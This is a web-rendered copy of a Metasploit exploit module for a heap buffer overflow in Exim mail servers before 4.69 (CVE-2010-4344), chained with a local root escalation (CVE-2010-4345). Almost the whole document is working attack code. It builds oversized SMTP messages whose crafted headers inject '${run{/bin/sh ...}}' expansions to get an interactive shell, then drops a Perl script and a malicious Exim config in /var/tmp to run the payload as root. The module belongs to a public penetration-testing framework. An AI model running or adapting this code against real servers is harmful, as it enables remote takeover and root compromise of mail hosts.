Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/smtp/exim4_string_format.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Smtp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Exim4 string_format Function Heap Buffer Overflow',
16
'Description' => %q{
17
This module exploits a heap buffer overflow within versions of Exim prior to
18
version 4.69. By sending a specially crafted message, an attacker can corrupt the
19
heap and execute arbitrary code with the privileges of the Exim daemon.
20
21
The root cause is that no check is made to ensure that the buffer is not full
22
prior to handling '%s' format specifiers within the 'string_vformat' function.
23
In order to trigger this issue, we get our message rejected by sending a message
24
that is too large. This will call into log_write to log rejection headers (which
25
is a default configuration setting). After filling the buffer, a long header
26
string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
27
FROM' command. By sending a second message, the string we sent will be evaluated
28
with 'expand_string' and arbitrary shell commands can be executed.
29
30
It is likely that this issue could also be exploited using other techniques such
31
as targeting in-band heap management structures, or perhaps even function pointers
32
stored in the heap. However, these techniques would likely be far more platform
33
specific, more complicated, and less reliable.
34
35
This bug was original found and reported in December 2008, but was not
36
properly handled as a security issue. Therefore, there was a 2 year lag time
37
between when the issue was fixed and when it was discovered being exploited
38
in the wild. At that point, the issue was assigned a CVE and began being
39
addressed by downstream vendors.
40
41
An additional vulnerability, CVE-2010-4345, was also used in the attack that
42
led to the discovery of danger of this bug. This bug allows a local user to
43
gain root privileges from the Exim user account. If the Perl interpreter is
44
found on the remote system, this module will automatically exploit the
45
secondary bug as well to get root.
46
},
47
'Author' => [ 'jduck', 'hdm' ],
48
'License' => MSF_LICENSE,
49
'References' => [
50
[ 'CVE', '2010-4344' ],
51
[ 'CVE', '2010-4345' ],
52
[ 'OSVDB', '69685' ],
53
[ 'OSVDB', '69860' ],
54
[ 'BID', '45308' ],
55
[ 'BID', '45341' ],
56
[ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],
57
[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
58
[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
59
[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
60
],
61
'Privileged' => true,
62
'Payload' => {
63
'DisableNops' => true,
64
'Space' => 8192, # much more in reality, but w/e
65
'Compat' =>
66
{
67
'PayloadType' => 'cmd',
68
'RequiredCmd' => 'generic perl ruby telnet',
69
}
70
},
71
'Platform' => 'unix',
72
'Arch' => ARCH_CMD,
73
'Targets' => [
74
[ 'Automatic', {} ],
75
],
76
# Originally discovered/reported Dec 2 2008
77
'DisclosureDate' => '2010-12-07', # as an actual security bug
78
'DefaultTarget' => 0,
79
'Notes' => {
80
'Reliability' => UNKNOWN_RELIABILITY,
81
'Stability' => UNKNOWN_STABILITY,
82
'SideEffects' => UNKNOWN_SIDE_EFFECTS
83
}
84
)
85
)
86
87
register_options(
88
[
89
OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
90
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
91
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
92
]
93
)
94
95
register_advanced_options(
96
[
97
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
98
OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
99
OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
100
]
101
)
102
end
103
104
def exploit
105
#
106
# Connect and grab the banner
107
#
108
ehlo = datastore['EHLO_NAME']
109
ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"
110
111
print_status("Connecting to #{rhost}:#{rport} ...")
112
connect
113
114
print_status("Server: #{self.banner.to_s.strip}")
115
if self.banner.to_s !~ /Exim /
116
disconnect
117
fail_with(Failure::NoTarget, "The target server is not running Exim!")
118
end
119
120
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
121
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
122
end
123
124
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
125
ehlo_resp.each_line do |line|
126
print_status("EHLO: #{line.strip}")
127
end
128
129
#
130
# Determine the maximum message size
131
#
132
max_msg = 52428800
133
if ehlo_resp.to_s =~ /250-SIZE (\d+)/
134
max_msg = $1.to_i
135
end
136
137
#
138
# Determine what hostname the server sees
139
#
140
saddr = nil
141
revdns = nil
142
if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
143
revdns = $1
144
saddr = $2
145
end
146
source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
147
print_status("Determined our hostname is #{revdns} and IP address is #{source}")
148
149
#
150
# Initiate the message
151
#
152
from = datastore['MAILFROM']
153
to = datastore['MAILTO']
154
155
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
156
resp ||= 'no response'
157
msg = "MAIL: #{resp.strip}"
158
if not resp or resp[0, 3] != '250'
159
fail_with(Failure::Unknown, msg)
160
else
161
print_status(msg)
162
end
163
164
resp = raw_send_recv("RCPT TO: #{to}\r\n")
165
resp ||= 'no response'
166
msg = "RCPT: #{resp.strip}"
167
if not resp or resp[0, 3] != '250'
168
fail_with(Failure::Unknown, msg)
169
else
170
print_status(msg)
171
end
172
173
resp = raw_send_recv("DATA\r\n")
174
resp ||= 'no response'
175
msg = "DATA: #{resp.strip}"
176
if not resp or resp[0, 3] != '354'
177
fail_with(Failure::Unknown, msg)
178
else
179
print_status(msg)
180
end
181
182
#
183
# Calculate the headers
184
#
185
msg_len = max_msg + (1024 * 256) # just for good measure
186
log_buffer_size = 8192
187
188
host_part = "H="
189
if revdns and revdns != ehlo
190
host_part << revdns << " "
191
end
192
host_part << "(#{ehlo})"
193
194
# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
195
print_status("Constructing initial headers ...")
196
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
197
log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
198
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
199
200
# We want 2 bytes left, so we subtract from log_buffer_size here
201
log_buffer_size -= 3 # account for the nul termination too
202
203
# Now, " " + hdrline for each header
204
hdrs = []
205
while log_buffer.length < log_buffer_size
206
header_name = rand_text_alpha(10).capitalize
207
filler = rand_text_alphanumeric(8 * 16)
208
hdr = "#{header_name}: #{filler}\n"
209
210
one = (2 + hdr.length)
211
two = 2 * one
212
left = log_buffer_size - log_buffer.length
213
if left < two and left > one
214
left -= 4 # the two double spaces
215
first = left / 2
216
hdr = hdr.slice(0, first - 1) + "\n"
217
hdrs << hdr
218
log_buffer << " " << hdr
219
220
second = left - first
221
header_name = rand_text_alpha(10).capitalize
222
filler = rand_text_alphanumeric(8 * 16)
223
hdr = "#{header_name}: #{filler}\n"
224
hdr = hdr.slice(0, second - 1) + "\n"
225
end
226
hdrs << hdr
227
log_buffer << " " << hdr
228
end
229
hdrs1 = hdrs.join
230
231
# This header will smash various heap stuff, hopefully including the ACL
232
header_name = Rex::Text.rand_text_alpha(7).capitalize
233
print_status("Constructing HeaderX ...")
234
hdrx = "#{header_name}: "
235
1.upto(50) { |a|
236
3.upto(12) { |b|
237
hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
238
}
239
}
240
241
# In order to trigger the overflow, we must get our message rejected.
242
# To do so, we send a message that is larger than the maximum.
243
244
print_status("Constructing body ...")
245
body = ''
246
fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384
247
248
while (body.length < msg_len)
249
body << fill
250
end
251
body = body[0, msg_len]
252
253
print_status("Sending #{msg_len / (1024 * 1024)} megabytes of data...")
254
sock.put hdrs1
255
sock.put hdrx
256
sock.put "\r\n"
257
sock.put body
258
259
print_status("Ending first message.")
260
buf = raw_send_recv("\r\n.\r\n")
261
# Should be: "552 Message size exceeds maximum permitted\r\n"
262
print_status("Result: #{buf.inspect}") if buf
263
264
second_result = ""
265
266
print_status("Sending second message ...")
267
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
268
# Should be: "sh-x.x$ " !!
269
if buf
270
print_status("MAIL result: #{buf.inspect}")
271
second_result << buf
272
end
273
274
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
275
# Should be: "sh: RCPT: command not found\n"
276
if buf
277
print_status("RCPT result: #{buf.inspect}")
278
second_result << buf
279
end
280
281
# Clear pending output from the socket
282
buf = sock.get_once(-1, 1.0)
283
second_result << buf if buf
284
sock.put("source /etc/profile >/dev/null 2>&1\n")
285
buf = sock.get_once(-1, 2.0)
286
second_result << buf if buf
287
288
# Check output for success
289
if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
290
print_error("Second result: #{second_result.inspect}")
291
fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
292
end
293
294
resp = ''
295
if not datastore['SkipEscalation']
296
print_status("Looking for Perl to facilitate escalation...")
297
# Check for Perl as a way to escalate our payload
298
sock.put("perl -V\n")
299
select(nil, nil, nil, 3.0)
300
resp = sock.get_once(-1, 10.0)
301
end
302
303
if resp !~ /Summary of my perl/
304
print_status("Should have a shell now, sending payload...")
305
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
306
if buf
307
if buf =~ /554 SMTP synchronization error/
308
print_error("This target may be patched: #{buf.strip}")
309
else
310
print_status("Payload result: #{buf.inspect}")
311
end
312
end
313
else
314
print_status("Perl binary detected, attempt to escalate...")
315
316
token = Rex::Text.rand_text_alpha(8)
317
# Flush the output from the shell
318
sock.get_once(-1, 0.1)
319
320
# Find the perl interpreter path
321
sock.put("which perl;echo #{token}\n")
322
buff = ""
323
cnt =
324
while not buff.index(token)
325
res = sock.get_once(-1, 0.25)
326
buff << res if res
327
end
328
329
perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip
330
print_status("Using Perl interpreter at #{perl_path}...")
331
332
temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
333
temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
334
temp_eof = Rex::Text.rand_text_alpha(8)
335
336
print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")
337
338
data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
339
sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")
340
341
data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
342
sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")
343
344
print_status("Attempting to execute payload as root...")
345
sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
346
end
347
348
# Give some time for the payload to be consumed
349
select(nil, nil, nil, 4)
350
351
handler
352
disconnect
353
end
354
end
355
356